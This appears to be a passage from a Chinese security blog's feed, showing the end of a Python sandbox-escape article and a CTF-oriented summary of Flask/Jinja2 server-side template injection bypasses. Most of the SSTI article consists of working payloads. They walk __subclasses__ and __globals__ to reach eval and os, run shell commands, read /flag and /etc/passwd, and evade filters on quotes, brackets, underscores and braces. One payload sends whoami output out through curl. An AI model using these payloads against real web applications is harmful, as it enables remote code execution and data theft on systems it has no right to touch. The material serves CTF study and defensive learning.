class="line">需要有操作文件的函数,劫持got表,从而rce</span><br><span class="line"></span><br><span class="line">参考TCTF 2017 final Python</span><br><span class="line"></span><br><span class="line">https://www.anquanke.com/post/id/86366%E3%80%82</span><br><span class="line"></span><br><span class="line">直接利用opcode,rce</span><br><span class="line"></span><br><span class="line">## 其他特殊</span><br><span class="line"></span><br><span class="line">### 限制()</span><br><span class="line"></span><br><span class="line">如果过滤了(),则不能执行函数</span><br><span class="line"></span><br><span class="line">我们可以通过赋值劫持,builtins模块,利用模块之间的引用关系,劫持后续一个传入内容可控的函数为eval进行任意代码执行</span><br><span class="line"></span><br><span class="line">参考sctf2020 pysandbox2</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>app.view_functions[request.form[[].<strong>doc</strong>[1]]]=lambda:request.form[[].<strong>doc</strong>[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions<a href="eval(%22__import__('os').popen('ls').read()%22)">1</a></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">### sys.modules</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">`sys.modules` 是一个字典,里面储存了加载过的模块信息,但是不能直接使用, sys.modules 中未经 import 加载的模块对当前空间是不可见的.</span><br><span class="line"></span><br><span class="line">如果在</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>sys.modules[‘os’] = ‘not allowed’</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">修改os库,会会导致import失败,</span><br><span class="line"></span><br><span class="line">我们只要</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>del sys.modules[‘os’]</p><p>```</p><p>既可导入</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><p><a href="http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html">http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html</a> </p><p><a href="http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html">Paving the Way to Securing the Python Interpreter</a></p><p><a href="https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%89%B9%E6%AE%8A%E5%87%BD%E6%95%B0%E6%9F%A5%E6%89%BE">https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%89%B9%E6%AE%8A%E5%87%BD%E6%95%B0%E6%9F%A5%E6%89%BE</a></p><p><a href="https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/">https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</a></p><p><a href="https://blog.csdn.net/wy_97/article/details/80393854">https://blog.csdn.net/wy_97/article/details/80393854</a></p><p><a href="https://delcoding.github.io/2018/05/ciscn-writeup/">https://delcoding.github.io/2018/05/ciscn-writeup/</a></p>]]></content>
<summary type="html"><blockquote>
<p>本文首发与先知社区:<a href="https://xz.aliyun.com/t/9178">https://xz.aliyun.com/t/9178</a></p>
</blockquote>
<h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用<code>__code__</code>逃逸的姿势,所以有了这篇文章.<br>沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程</p></summary>
<category term="ctf" scheme="http://blog.wendell.pro/categories/ctf/"/>
<category term="ctf" scheme="http://blog.wendell.pro/tags/ctf/"/>
<category term="姿势总结" scheme="http://blog.wendell.pro/tags/%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/"/>
</entry>
<entry>
<title>flask_ssti_绕过总结</title>
<link href="http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/"/>
<id>http://blog.wendell.pro/2020/11/25/flask-ssti-%E7%BB%95%E8%BF%87%E6%80%BB%E7%BB%93/</id>
<published>2020-11-25T02:10:37.000Z</published>
<updated>2021-02-25T06:57:00.661Z</updated>
<content type="html"><![CDATA[<blockquote><p>本文首发与先知社区: <a href="https://xz.aliyun.com/t/8029">https://xz.aliyun.com/t/8029</a><br>关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下</p></blockquote><a id="more"></a><h2 id="前置知识"><a href="#前置知识" class="headerlink" title="前置知识"></a>前置知识</h2><h3 id="python执行环境"><a href="#python执行环境" class="headerlink" title="python执行环境"></a>python执行环境</h3><p>Python 会根据作用域把代码编译成字节码,然后生成PyCodeObject 对象,然后PyCodeObject 对象在和PyFrameObject关联,PyFrameObject有运行所需的名字空间信息.</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716155959-58882322-c73a-1.png" alt="image-20200716100051631"></p><h4 id="对于一个module"><a href="#对于一个module" class="headerlink" title="对于一个module"></a>对于一个module</h4><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160000-59222120-c73a-1.png" alt="image-20200716101725346"></p><p>local是,函数内的局部变量,global是模块内的全局变量,builtin是python内建函数,如open</p><p>利用sys._getframe() 获得当前Frame,打印结果如下</p><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160001-59c8db46-c73a-1.png" alt="image-20200716104414640"></p><p>注意对于python来说,global只是局限于module的,也就是如果moduleA导入了moduleB,则执行moduleB的函数,作用域仅限于moduleB,如果moduleB导入了moduleC,但是对于A来说,moduleC是不可见的</p><h4 id="对于函数"><a href="#对于函数" class="headerlink" title="对于函数"></a>对于函数</h4><p>python会依据,PyCodeObject对象和当前PyFrameObject对象生成,PyFunctionObject对象,PyFunctionObject中有两个重要的变量,func_code, func_globals。其中func_code是函数对象对应的PyCodeObject,而func_globals则是函数的global名字空间,可以通过python3 ,可以通过__globals__访问</p><h4 id="对于类"><a href="#对于类" class="headerlink" title="对于类"></a>对于类</h4><p><img src="https://xzfile.aliyuncs.com/media/upload/picture/20200716160002-5a494876-c73a-1.png" alt="image-20200716133409263"></p><p>python的所有类是type的实例,又都继承自object类,因为python支持多继承,可以通过base,mro得到继承的父类</p><p>Python在初始化class对象时会填充tp_dict,这个tp_dict会用来搜索类的方法和属性的,其中对于一些特殊方法比如<code>__repr__</code>,开始指向一个默认的slot_tp_repr方法,如果在一个class中重新定义了<code>__repr__</code>方法,则在创建class对象的时候,就会将默认的tp_repr指向的方法替换为该slot_to_repr方法,并且python的[1:2]等操作,是可以通过这些特殊方法实现的.</p><p>python的方法其实是对PyFunctionObject的包装,封装成了PyMethodObject对象,这个对象除了PyFunctionObject对象本身,还新增了class对象和成员函数调用的self参数</p><h3 id="Flask-Jinja2"><a href="#Flask-Jinja2" class="headerlink" title="Flask/Jinja2"></a>Flask/Jinja2</h3><p>作为 web层面的攻击,我们要关注语言层面的特性和绕过</p><p>参考文档如下:</p><p><a href="https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters">https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-builtin-filters</a></p><p><a href="https://dormousehole.readthedocs.io/en/latest/">https://dormousehole.readthedocs.io/en/latest/</a></p><p>Flask/Jinja2 模板的语法,filters和内建函数,变量,都可能称为绕过的trick</p><p>基本语法如下:</p><ul><li><p><code>{{ ... }} for [Expressions](https://jinja.palletsprojects.com/en/2.11.x/templates/#expressions) 里面可以是一个表达式,如1+1,字符串等,支持调用对象的方法,会渲染结果</code></p></li><li><p><code>{% ... %}` for [Statements](https://jinja.palletsprojects.com/en/2.11.x/templates/#list-of-control-structures) ,可以实现for,if等语句,还支持set语法,可以给变量赋值</code></p><p>如</p></li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}</span><br></pre></td></tr></table></figure><p> 找到chr函数,并且赋值给chr变量</p><h2 id="命令执行构造"><a href="#命令执行构造" class="headerlink" title="命令执行构造"></a>命令执行构造</h2><p><code>在{{}}我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval,open这些操作是不能使用的,但根据前面的知识,我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins```### flask内置函数这种方法之前好像没人提过Flask 内置了两个函数url_for 和 get_flashed_messages,还有一些内置的对象<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}</span><br><span class="line">{{request.__init__.__globals__['__builtins__'].open('/flag').read()}}</span><br></pre></td></tr></table></figure>如果过滤了config,又需要查config<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">{{config}}</span><br><span class="line">{{get_flashed_messages.__globals__['current_app'].config}}</span><br></pre></td></tr></table></figure>### 通过基类查找子类虽然模块间的变量不共享,但是所有类都是object的子类,所以可以通过object类而得到其他类利用<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">#python2.7</span><br><span class="line">''.__class__.__mro__[2]</span><br><span class="line">{}.__class__.__bases__[0]</span><br><span class="line">().__class__.__bases__[0]</span><br><span class="line">[].__class__.__bases__[0]</span><br><span class="line">request.__class__.__mro__[1]</span><br><span class="line">#python3.7</span><br><span class="line">''.__class__.__mro__[1]</span><br><span class="line">{}.__class__.__bases__[0]</span><br><span class="line">().__class__.__bases__[0]</span><br><span class="line">[].__class__.__bases__[0]</span><br><span class="line">[].__class__.__base__</span><br><span class="line">().__class__.__base__</span><br><span class="line">{}.__class__.__base__</span><br><span class="line">request.__class__.__mro__[1]</span><br><span class="line">session.__class__.__mro__[1]</span><br><span class="line">redirect.__class__.__mro__[1]</span><br></pre></td></tr></table></figure>等得到object 对象,然后通过```__subclasses__()```方法,得到所有子类,在找重载过```__inti__,__repr__```等特殊方法的类,利用这些方法的```__globals__```得到,```__builtins__```,或者```os,codecs```等可以进行代码执行的调用.常见payload<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">// 59 为warnings.WarningMessag</span><br><span class="line">''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')</span><br></pre></td></tr></table></figure>不使用globals的payload<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">// <class 'warnings.catch_warnings'>类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,</span><br><span class="line">如果可以找到warnings.catch_warnings类,则可以不使用 globals</span><br><span class="line"></span><br><span class="line">''.__class__.__mro__[2].__subclasses__()[60]()._module.__builtins__['__import__']("os").system("calc")</span><br></pre></td></tr></table></figure>## 过滤绕过#### 前置知识- 利用python的魔术方法,也可以实现字典,数组取值等操作- Jinja2对模板做了特殊处理,所以通过<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">A['__init__']</span><br></pre></td></tr></table></figure>也可以访问A的方法,属性- Jinja2 的attr 过滤器可以获得对象的属性或方法- flask内置的request对象可以得到请求的信息<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">request.args.name</span><br><span class="line">request.cookies.name</span><br><span class="line">request.headers.name</span><br><span class="line">request.values.name</span><br><span class="line">request.form.name</span><br></pre></td></tr></table></figure>### 关键字过滤#### 没过滤引号- 如果没用过滤引号,使用反转,或者各种拼接绕过<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__snitliub__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}</span><br><span class="line"></span><br><span class="line">{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__buil'+'tins__'[::-1]]['eval']('__import__("os").popen("ls").read()')}}</span><br></pre></td></tr></table></figure>#### 过滤了引号 - 利用将需要的变量放在请求中,然后通过[],或者通过attr,```__getattribute__```获得<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">// url?a=eval</span><br><span class="line">''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.[request.args.a]('__import__("os").popen("ls").read()')</span><br><span class="line"></span><br><span class="line">// Cookie: aa=__class__;bb=__mro__;cc=__subclasses__</span><br><span class="line">{{((request|attr(request.cookies.get('aa'))|attr(request.cookies.get('bb'))|list).pop(-1))|attr(request.cookies.get('cc'))()}}</span><br></pre></td></tr></table></figure> - 如果request被ban,可以考虑通过```{{(config.__str__()[2])+(config.__str__()[3])}}</code>拼接需要的字符</p><ul><li>查出chr函数,利用set赋值,然后使用</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}</span><br></pre></td></tr></table></figure><ul><li>利用内置过滤器拼接出,’%c’,再利用’’%语法得到任意字符</li></ul><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">get %</span><br><span class="line">找到特殊字符<,url编码,得到%</span><br><span class="line">{%set pc = g|lower|list|first|urlencode|first%}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">get 'c'</span><br><span class="line"></span><br><span class="line">{%set c=dict(c=1).keys()|reverse|first%}</span><br><span class="line"></span><br><span class="line">字符串拼接</span><br><span class="line"></span><br><span class="line">{%set udl=dict(a=pc,c=c).values()|join %}</span><br><span class="line"></span><br><span class="line">可以得到任意字符了</span><br><span class="line"></span><br><span class="line">get _</span><br><span class="line">{%set udl2=udl%(95)%}{{udl}}</span><br></pre></td></tr></table></figure><h3 id="特殊字符过滤"><a href="#特殊字符过滤" class="headerlink" title="特殊字符过滤"></a>特殊字符过滤</h3><p>其他奇奇怪怪的过滤,善用Flask/Jinja2的文档,用内置过滤器,函数,变量,魔术方法等绕过</p><h4 id="过滤"><a href="#过滤" class="headerlink" title="过滤["></a>过滤[</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">#getitem、pop</span><br><span class="line">''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()</span><br><span class="line">''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()</span><br><span class="line">''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').system('calc')</span><br></pre></td></tr></table></figure><h4 id="过滤双花括号"><a href="#过滤双花括号" class="headerlink" title="过滤双花括号"></a>过滤双花括号</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">#用{%%}标记</span><br><span class="line">{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}</span><br><span class="line">这样会没有回显,考虑带外或者盲注</span><br><span class="line"></span><br><span class="line"># 用{%print%}标记,有回显</span><br><span class="line">{%print config%}</span><br></pre></td></tr></table></figure><h4 id="过滤下划线"><a href="#过滤下划线" class="headerlink" title="过滤下划线"></a>过滤下划线</h4><p>和过滤字符串一样绕过即可</p><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><p><a href="https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96">https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E6%A0%BC%E5%BC%8F%E5%8C%96</a></p><p><a href="https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/">https://www.mi1k7ea.com/2019/05/31/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%B0%8F%E7%BB%93/</a></p><p><a href="https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB">https://xi4or0uji.github.io/2019/01/15/flask%E4%B9%8Bssti%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5/#%E6%94%BB%E5%87%BB</a></p><p><a href="https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/">https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/</a></p><p><a href="https://xz.aliyun.com/t/52">https://xz.aliyun.com/t/52</a></p><p><a href="https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93">https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93</a></p>]]></content>
<summary type="html"><blockquote>
<p>本文首发与先知社区: <a href="https://xz.aliyun.com/t/8029">https://xz.aliyun.com/t/8029</a><br>关于flask的中ssti的绕过文章还是很多的,但分析这样构造的原因还是挺少的,恰巧最近要出题,所以写一篇文章分析一下</p>
</blockquote></summary>
<category term="ctf" scheme="http://blog.wendell.pro/categories/ctf/"/>
<category term="ctf" scheme="http://blog.wendell.pro/tags/ctf/"/>
<category term="姿势总结" scheme="http://blog.wendell.pro/tags/%E5%A7%BF%E5%8A%BF%E6%80%BB%E7%BB%93/"/>
</entry>
</feed>